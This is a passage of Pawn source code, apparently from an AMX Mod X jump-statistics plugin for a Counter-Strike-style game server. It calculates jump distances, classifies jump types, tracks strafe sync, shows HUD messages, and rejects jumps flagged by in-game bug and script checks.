if( (i == id || is_spec_user[i]))
{
if(showpre[id]==true && failearly[id]==true && (uq_bj==1 || uq_sbj==1))
{
set_hudmessage(255, 0, 109, -1.0, 0.70, 0, 0.0, 0.5, 0.1, 0.1, h_stats);
show_hudmessage(id, "%L",LANG_SERVER,"UQSTATS_JEARLY");
}
}
}
}
}
else if( ( failed_jump[id] || flags&FL_ONGROUND)&& in_air[id] )
{
if(old_type_dropbj[id]!=Type_Null && jump_type[id]==Type_Drop_BhopLongJump)
{
jump_type[id]=old_type_dropbj[id];
formatex(Jtype[id],32,Jtype_old_dropbj[id]);
formatex(Jtype1[id],32,Jtype_old_dropbj1[id]);
}
if(bug_true[id])
{
JumpReset(id,322);
return FMRES_IGNORED;
}
if(prestrafe[id]>200 && jump_type[id]==Type_DuckBhop)
{
duckbhop_bug_pre[id]=true;
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 1.5, 0.1, 0.1, h_prest);
show_hudmessage(id, "%L",LANG_SERVER,"UQSTATS_PROBBUG",prestrafe[id]);
}
new summad,summws;
for(new i=0;i<NSTRAFES;i++)
{
if(type_button_what[id][i]==1)
summad++;
if(type_button_what[id][i]==2)
summws++;
}
if(summws>summad)
{
if(backwards[id])
{
formatex(pre_type[id],32,"%L",LANG_SERVER,"UQSTATS_PRETYPE1"); //Back-Side?? don't know...
}
else formatex(pre_type[id],32,"%L",LANG_SERVER,"UQSTATS_PRETYPE1");
}
else if(backwards[id])
{
formatex(pre_type[id],32,"%L",LANG_SERVER,"UQSTATS_PRETYPE2");
}
else pre_type[id] = "";
static bool:ducking;
static type[33];
type[0] = '^0';
new bool:failed;
if (failed_jump[id] == true)
{
formatex( type, 32, "" );
failed=true;
origin=failed_origin[id];
}
else
{
pev(id, pev_origin, origin);
ducking = is_user_ducking( id );
failed=false;
}
if(donehook[id])
{
donehook[id]=false;
failed_jump[id]=true;
client_print(id,print_center,"%L",LANG_SERVER,"UQSTATS_HOOKPROTECT");
}
if(failed==false)
{
height_difference[id] = ducking ? jumpoff_origin[id][2] - origin[2] - 18.0 : jumpoff_origin[id][2] - origin[2];
if(jump_type[id] == Type_BhopLongJump || jump_type[id] == Type_StandupBhopLongJump || jump_type[id]==Type_Bhop_In_Duck)
{
if(height_difference[id] <-22.0)
{
JumpReset(id,4);
return FMRES_IGNORED;
}
if(height_difference[id] > -18.0)
{
if(height_difference[id] <= -1.0)
{
JumpReset(id,5);
return FMRES_IGNORED;
}
}
}
else
{
if(height_difference[id] < -1.0)
{
if((jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_StandUp_CountJump) && height_difference[id]==-18.0)
{
//ColorChat(id, GREEN, "ne reset");
}
else
{
JumpReset(id,6);
return FMRES_IGNORED;
}
}
}
if(jump_type[id]==Type_StandupBhopLongJump)
{
if(height_difference[id] > 1.0)
failed_jump[id]=true;
}
else if(height_difference[id] > 0.0 && jump_type[id]!=Type_Drop_BhopLongJump )
{
JumpReset(id,7);
return FMRES_IGNORED;
}
else if(height_difference[id] > 0.02 && jump_type[id]==Type_Drop_BhopLongJump )
{
failed_jump[id]=true;
}
}
if( is_user_ducking(id))
{
origin[2]+=18.0;
}
static Float:distance1;
if(jump_type[id] == Type_ladder)
{
if(floatabs(jumpoff_origin[id][2]-origin[2])>4.0)
{
failed_jump[id]=true;
}
distance1 = get_distance_f( jumpoff_origin[id], origin )+laddist[id];
}
else distance1 = get_distance_f( jumpoff_origin[id], origin ) + 32.0;
if( is_user_ducking(id) )
{
origin[2]-=18.0;
}
if( frame_velocity[id][1][0] < 0.0 ) frame_velocity[id][1][0] *= -1.0;
if( frame_velocity[id][1][1] < 0.0 ) frame_velocity[id][1][1] *= -1.0;
static Float:land_origin[3];
land_origin[2] = frame_velocity[id][0][2] * frame_velocity[id][0][2] + (2 * get_pcvar_float(sv_gravity) * (frame_origin[id][0][2] - origin[2]));
rDistance[0] = (floatsqroot(land_origin[2]) * -1) - frame_velocity[id][1][2];
rDistance[1] = get_pcvar_float(sv_gravity)*-1;
frame2time = floatdiv(rDistance[0], rDistance[1]);
if(frame_velocity[id][1][0] < 0 )
frame_velocity[id][1][0] = frame_velocity[id][1][0]*-1;
rDistance[0] = frame2time*frame_velocity[id][1][0];
if( frame_velocity[id][1][1] < 0 )
frame_velocity[id][1][1] = frame_velocity[id][1][1]*-1;
rDistance[1] = frame2time*frame_velocity[id][1][1];
if( frame_velocity[id][1][2] < 0 )
frame_velocity[id][1][2] = frame_velocity[id][1][2]*-1;
rDistance[2] = frame2time*frame_velocity[id][1][2];
if( frame_origin[id][1][0] < origin[0] )
land_origin[0] = frame_origin[id][1][0] + rDistance[0];
else
land_origin[0] = frame_origin[id][1][0] - rDistance[0];
if( frame_origin[id][1][1] < origin[1] )
land_origin[1] = frame_origin[id][1][1] + rDistance[1];
else
land_origin[1] = frame_origin[id][1][1] - rDistance[1];
if( is_user_ducking(id) )
{
origin[2]+=18.0;
duckstring[id]=true;
}
land_origin[2] = origin[2];
frame2time += (last_land_time[id]-jumpoff_time[id]);
static Float:distance2;
if(jump_type[id] == Type_ladder)
{
distance2 = get_distance_f( jumpoff_origin[id], land_origin ) +laddist[id];
}
else distance2 = get_distance_f( jumpoff_origin[id], land_origin ) + 32.0;
if(failed==true)
{
if(jump_type[id] == Type_ladder)
{
distance[id] = GetFailedDistance(laddist[id],failed_ducking[id], GRAVITY, jumpoff_origin[id], velocity, failed_origin[id], failed_velocity[id]);
}
else distance[id] = GetFailedDistance(32.0,failed_ducking[id], GRAVITY, jumpoff_origin[id], velocity, failed_origin[id], failed_velocity[id]);
}
else distance[id] = distance1 > distance2 ? distance2 : distance1; //distance
new Float:Landing,bool:land_bug;
if(jump_type[id]!=Type_ladder && distance[id]>64.0)
{
new Float:landing_orig[3];
landing_orig=origin;
landing_orig[2]=landing_orig[2]-36.1;
Landing=LandingCalculate(id,landing_orig,jumpoff_origin[id]);
if(distance[id]<(jumpblock[id]+edgedist[id]+Landing))
{
landing_orig=land_origin;
landing_orig[2]=landing_orig[2]-36.1;
Landing=LandingCalculate(id,landing_orig,jumpoff_origin[id]);
Landing=Landing-0.06250;
land_bug=true;
}
else land_bug=false;
}
if(!uq_noslow && entity_get_float(id,EV_FL_fuser2)==0.0 && jump_type[id] != Type_ladder)
{
failed_jump[id]=true;
}
if(fps_hight[id] && jump_type[id]!=Type_ladder)
{
failed_jump[id]=true;
}
if(duckbhop_bug_pre[id])
{
failed_jump[id]=true;
}
new tmp_dist,tmp_min_dist,tmp_maxdist,tmp_mindist_other;
if(Pmaxspeed != 250.0 && jump_type[id]!=Type_ladder)
{
tmp_dist=floatround((250.0-Pmaxspeed)*0.73,floatround_floor);
tmp_min_dist=min_distance-tmp_dist;
}
else tmp_min_dist=min_distance;
tmp_maxdist=max_distance;
tmp_mindist_other=min_distance_other;
if(jump_type[id]!=Type_Bhop_In_Duck && jump_type[id]!=Type_Up_Bhop_In_Duck && jump_type[id]!=Type_Up_Stand_Bhop && jump_type[id] != Type_Up_Bhop && jump_type[id] != Type_ladder && jump_type[id] != Type_Multi_Bhop && jump_type[id]!=Type_DuckBhop && jump_type[id]!=Type_Real_ladder_Bhop)
{
if( distance[id] < tmp_min_dist || tmp_maxdist < distance[id] )
{
JumpReset(id,8);
return FMRES_IGNORED;
}
}
else if( jump_type[id] == Type_ladder && (distance[id] > tmp_maxdist || distance[id] < tmp_mindist_other))
{
JumpReset(id,9);
return FMRES_IGNORED;
}
else if( (jump_type[id] == Type_Multi_Bhop || jump_type[id]==Type_Real_ladder_Bhop) && (distance[id] > tmp_maxdist || distance[id] < tmp_mindist_other))
{
JumpReset(id,10);
return FMRES_IGNORED;
}
else if( (jump_type[id]==Type_Bhop_In_Duck || jump_type[id]==Type_Up_Bhop_In_Duck || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id] == Type_Up_Bhop || jump_type[id]==Type_Real_ladder_Bhop)&& (distance[id] > tmp_maxdist || distance[id] < tmp_mindist_other))
{
JumpReset(id,11);
return FMRES_IGNORED;
}
else if( jump_type[id]==Type_DuckBhop && (distance[id] > tmp_maxdist || distance[id] < tmp_min_dist-150))
{
JumpReset(id,1111);
return FMRES_IGNORED;
}
if( jump_type[id] == Type_LongJump )
{
oldjump_type[id]=1;
}
else oldjump_type[id]=0;
if(jump_type[id] == Type_LongJump && detecthj[id]==1)
{
jump_type[id] = Type_HighJump;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_HJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_HJ");
}
new Float:kkk;
kkk=1.112*Pmaxspeed;
if((jump_type[id] == Type_LongJump || jump_type[id] == Type_HighJump) && prestrafe[id]>kkk)
{
jump_type[id] = Type_Drop_BhopLongJump;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DRBJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DRBJ");
}
if(touch_somthing[id])
{
failed_jump[id]=true;
}
if(trigger_protection[id])
{
failed_jump[id]=true;
}
new wpn,weapon_name[21],weapon_name1[21],clip,ammo;
wpn = get_user_weapon(id,clip,ammo);
if(wpn)
{
get_weaponname(wpn,weapon_name,20);
get_weaponname(wpn,weapon_name1,20);
replace(weapon_name,20,"weapon_","");
}
else formatex(weapon_name,20,"Unknow");
new t_type;
t_type=0;
switch(jump_type[id])
{
case 0: t_type=1;
case 1: t_type=1;
case 2: t_type=2;
case 9: t_type=2;
case 11:t_type=2;
case 6: t_type=2;
case 7: t_type=2;
case 15: t_type=2;
case 17: t_type=2;
case 18: t_type=2;
case 19: t_type=2;
case 3: t_type=3;
case 5: t_type=3;
case 21: t_type=3;
case 22: t_type=3;
case 13: t_type=4;
case 23: t_type=5;
case 24:t_type=5;
case 12: t_type=6;
}
if(uq_bug==1 && check_for_bug_distance(distance[id],t_type,Pmaxspeed))
{
JumpReset(id,2311);
return FMRES_IGNORED;
}
if(uq_bug==1)
{
new Float:b_check=2.1;
if(jump_type[id]==Type_ladder)
{
b_check=b_check-0.1;
}
if((maxspeed[id]+prestrafe[id])/distance[id]<b_check)
{
JumpReset(id,23451);
return FMRES_IGNORED;
}
}
new god_dist,leet_dist,holy_dist,pro_dist,good_dist;
new d_array[5];
d_array=get_colorchat_by_distance(jump_type[id],Pmaxspeed,tmp_dist,dropaem[id],multiscj[id],aircj);
god_dist=d_array[4];
leet_dist=d_array[3];
holy_dist=d_array[2];
pro_dist=d_array[1];
good_dist=d_array[0];
new script_dist;
if(angles_arry[id]>SCRIPTFRAMES && uq_script_detection)
{
script_dist=god_dist;
switch(uq_script_work)
{
case 0:
script_dist=good_dist;
case 1:
script_dist=pro_dist;
case 2:
script_dist=holy_dist;
case 3:
script_dist=leet_dist;
case 4:
script_dist=god_dist;
}
}
new bool:not_save;
if((jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump) && prestrafe[id]>kkk && !uq_noslow)
{
not_save=true;
}
else if(prestrafe[id]>Pmaxspeed*1.2 && !uq_noslow)
{
not_save=true;
}
else not_save=false;
new bool:find_script;
if(strafe_num[id]>4 && angles_arry[id]>SCRIPTFRAMES && uq_script_detection && distance[id]>script_dist && !not_save)
{
if(FullJumpFrames[id]>80)
failed_jump[id]=true;
else
find_script=true;
}
//streifs stat
sync_[id] = INFO_ZERO;
strMess[0] = '^0'; //unnecessary?
strMessBuf[0] = '^0'; //unnecessary?
strLen = INFO_ZERO;
badSyncTemp = INFO_ZERO;
goodSyncTemp = INFO_ZERO;
new Float:tmpstatspeed[NSTRAFES],Float:tmpstatpoteri[NSTRAFES];
Fulltime = last_land_time[id]-jumpoff_time[id];
if(strafe_num[id] < NSTRAFES)
{
strafe_stat_time[id][0] = jumpoff_time[id];
strafe_stat_time[id][strafe_num[id]] =last_land_time[id];
for(jj = 1;jj <= strafe_num[id]; jj++)
{
//client_print(id,print_chat,"%d=%d,%d - %d",jj,strafe_stat_sync[id][jj][0],strafe_stat_sync[id][jj][1],strafe_lost_frame[id][jj]);
time_ = ((strafe_stat_time[id][jj] - strafe_stat_time[id][jj-1])*100) / (Fulltime);
if ((strafe_stat_sync[id][jj][0]+strafe_stat_sync[id][jj][1]) > 0)
{
sync_[id] =(strafe_stat_sync[id][jj][0] * 100)/(strafe_stat_sync[id][jj][0]+strafe_stat_sync[id][jj][1]); //using like a buffer
}
else
{
sync_[id] = 0;
}
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS1", jj, strafe_stat_speed[id][jj][0], strafe_stat_speed[id][jj][1], time_, sync_[id]);
goodSyncTemp += strafe_stat_sync[id][jj][0];
badSyncTemp += strafe_stat_sync[id][jj][1];
tmpstatspeed[jj]=strafe_stat_speed[id][jj][0];
tmpstatpoteri[jj]=strafe_stat_speed[id][jj][1];
if(tmpstatpoteri[jj]>200)
{
if(duckstring[id]==false)
duckstring[id]=true;
}
if(tmpstatpoteri[jj]>200 && Checkframes[id])
{
Checkframes[id]=false;
failed_jump[id]=true;
}
}
//client_print(id,print_chat,"full=%d - %d,%d",FullJumpFrames[id],strafe_stat_sync[id][0][0],strafe_stat_sync[id][0][1]);
if(strafe_num[id]!=0)
{
if (jump_type[id]==Type_ladder && strafe_stat_speed[id][0][0]!=0)
{
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS2",strafe_stat_speed[id][0][0]);
}
if (duckstring[id]==false)
{
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS3");
}
if (jump_type[id]==Type_StandupBhopLongJump || jump_type[id]==Type_Up_Stand_Bhop)
{
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS4");
}
if(wpn!=29 && wpn!=17 && wpn!=16)
{
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS5",weapon_name);
}
if(Show_edge[id] && failed_jump[id]==false && jump_type[id]!=Type_ladder && jumpblock[id]<user_block[id][0] && jumpblock[id]>user_block[id][1] && edgedist[id]<100.0 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
if((jumpblock[id]+Landing+edgedist[id])>(distance[id]+10.0) || Landing<=0.0)
{
strLen =strLen+format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS6",jumpblock[id],edgedist[id]);
}
else if(land_bug)
{
strLen =strLen+format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS7",jumpblock[id],edgedist[id],Landing);
}
else strLen =strLen+format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS8",jumpblock[id],edgedist[id],Landing);
}
else if(Show_edge[id] && failed_jump[id] && jump_type[id]!=Type_ladder && jumpblock[id]<user_block[id][0] && jumpblock[id]>user_block[id][1] && edgedist[id]<100.0 && edgedist[id]!=0.0)
{
strLen =strLen+format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS9",jumpblock[id],edgedist[id]);
}
else if(Show_edge_Fail[id] && failed_jump[id] && jump_type[id]!=Type_ladder && edgedist[id]<100.0 && edgedist[id]!=0.0)
{
strLen =strLen+format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS10",edgedist[id]);
}
if(jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop_In_Duck)
{
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS11",upheight[id]);
}
if(fps_hight[id] && jump_type[id]!=Type_ladder)
{
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS12");
}
if(ladderbug[id])
{
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS13");
failed_jump[id]=true;
}
if(find_ladder[id] && jump_type[id]==Type_DuckBhop)
{
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS14");
failed_jump[id]=true;
}
if(touch_somthing[id])
{
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS15");
}
if(find_script)
{
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_HUDSTRSTATS16");
failed_jump[id]=true;
}
if(trigger_protection[id])
{
strLen += format(strMess[strLen],(40*NSTRAFES)-strLen-1, "%L",LANG_SERVER,"UQSTATS_TRIGGERPROTECT");
}
}
}
//Sync
if( goodSyncTemp > 0 ) sync_[id]= (goodSyncTemp*100/(goodSyncTemp+badSyncTemp));
else sync_[id] = INFO_ZERO;
switch( jump_type[id] )
{
case 0: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE1"); //Lj
case 1: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE2" ); //hj
case 2:
{
if(CjafterJump[id]==1)
{
if(ddforcjafterbhop[id])
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE3" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_CJAB");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_CJAB");
}
else if(ddforcjafterladder[id])
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE4" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_CJAL");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_CJAL");
}
else
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE5" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_CJAJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_CJAJ");
}
}
else formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE6" ); //cj
}
case 3: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE7" );//bj
case 4: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE8" );//??
case 5: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE9" );//sbj
case 6:
{
if(ddbeforwj[id]==false)
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE10" ); //wj
}
else
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE11" );
}
}
case 7: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE12" );
case 9:
{
if(CjafterJump[id]==2)
{
if(ddforcjafterbhop[id])
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE13" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DCJAB");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DCJAB");
}
else if(ddforcjafterladder[id])
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE14" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DCJAL");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DCJAL");
}
else
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE15" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DCJAJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DCJAJ");
}
}
else formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE16" ); //dcj
}
case 11:
{
if(CjafterJump[id]==3)
{
if(ddforcjafterbhop[id])
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE17" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MCJAB");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MCJAB");
}
else if(ddforcjafterladder[id])
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE18" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MCJAL");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MCJAL");
}
else
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE19" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MCJAJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MCJAJ");
}
}
else formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE20" );//mcj
}
case 12: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE21" );//nothing
case 13: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE22" );//ld
case 15: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE23" );
case 16: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE24" );
case 17: formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE25" );
case 18:
{
if(multidropcj[id]==0)
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE26" );
}
else if(multidropcj[id]==1)
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE27" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DROPDCJ");
}
else if(multidropcj[id]==2)
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE28" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DROPMCJ");
}
}
case 19:
{ if(dropaem[id])
{
if(multiscj[id]==0)
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE29" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DROPSCJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DROPSCJ");
}
else if(multiscj[id]==1)
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE30" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DROPDSCJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DROPDSCJ");
}
else if(multiscj[id]==2)
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE31" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DROPMSCJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DROPMSCJ");
}
}
else if(ddstandcj[id])
{
if(multiscj[id]==0)
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE32" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_SCJAF");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_SCJAF");
}
else if(multiscj[id]==1)
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE33" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DSCJAF");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DSCJAF");
}
else if(multiscj[id]==2)
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE34" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MSCJAF");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MSCJAF");
}
}
else
{
if(multiscj[id]==0)
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE35" );
}
else if(multiscj[id]==1)
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE36" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DSCJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DSCJ");
}
else if(multiscj[id]==2)
{
formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE37" );
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MSCJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MSCJ");
}
}
}
case 20:formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE38" );
case 21:formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE39" );
case 22:formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE40" );
case 23:formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE41");
case 24:formatex( type, 32, "%L",LANG_SERVER,"UQSTATS_HUD_JUMPTYPE42");
}
//gain
new Float:gain[33];
gain[id] = floatsub( maxspeed[id], prestrafe[id] );
if(jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==0 && uq_drsbj==0)
{
JumpReset(id,12);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==1 && uq_dscj==0)
{
JumpReset(id,12);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_StandUp_CountJump && dropaem[id]==false && multiscj[id]==2 && uq_mscj==0)
{
JumpReset(id,12);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==0 && uq_dropscj==0)
{
JumpReset(id,12);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==1 && uq_dropdscj==0)
{
JumpReset(id,12);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_StandUp_CountJump && dropaem[id] && multiscj[id]==2 && uq_dropmscj==0)
{
JumpReset(id,12);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_Double_CountJump&& uq_dcj==0)
{
JumpReset(id,13);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_Multi_CountJump && uq_mcj==0)
{
JumpReset(id,14);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_CountJump && uq_cj==0)
{
JumpReset(id,15);
return FMRES_IGNORED;
}
else if((jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump) && uq_lj==0)
{
JumpReset(id,16);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_ladder && uq_ladder==0)
{
JumpReset(id,17);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_Bhop_In_Duck && (uq_bhopinduck==0 ))
{
JumpReset(id,18);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_DuckBhop && (uq_duckbhop==0 ))
{
JumpReset(id,18);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_Up_Bhop && (uq_upbj==0) )
{
JumpReset(id,18);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_Up_Bhop_In_Duck && (uq_upbhopinduck==0 ))
{
JumpReset(id,18);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_BhopLongJump && uq_bj==0)
{
JumpReset(id,19);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_ladderBhop && uq_ldbj==0)
{
JumpReset(id,20);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_Real_ladder_Bhop && uq_realldbhop==0)
{
JumpReset(id,20);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_WeirdLongJump && uq_wj==0)
{
JumpReset(id,21);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==0 && uq_drcj==0)
{
JumpReset(id,22);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==1 && uq_dropdcj==0)
{
JumpReset(id,22);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_Drop_CountJump && multidropcj[id]==2 && uq_dropmcj==0)
{
JumpReset(id,22);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_Drop_BhopLongJump && uq_drbj==0)
{
JumpReset(id,23);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_StandupBhopLongJump && uq_sbj==0)
{
JumpReset(id,24);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_Up_Stand_Bhop && uq_upsbj==0)
{
JumpReset(id,24);
return FMRES_IGNORED;
}
else if(jump_type[id]==Type_Multi_Bhop && uq_multibhop==0)
{
JumpReset(id,242);
return FMRES_IGNORED;
}
for(new i=1;i<NSTRAFES;i++)
{
if(tmpstatspeed[i]>40 && jump_type[id]!=Type_ladder && jump_type[id]!=Type_Real_ladder_Bhop && jump_type[id]!=Type_Slide)
{
JumpReset(id,40);
return FMRES_IGNORED;
}
}
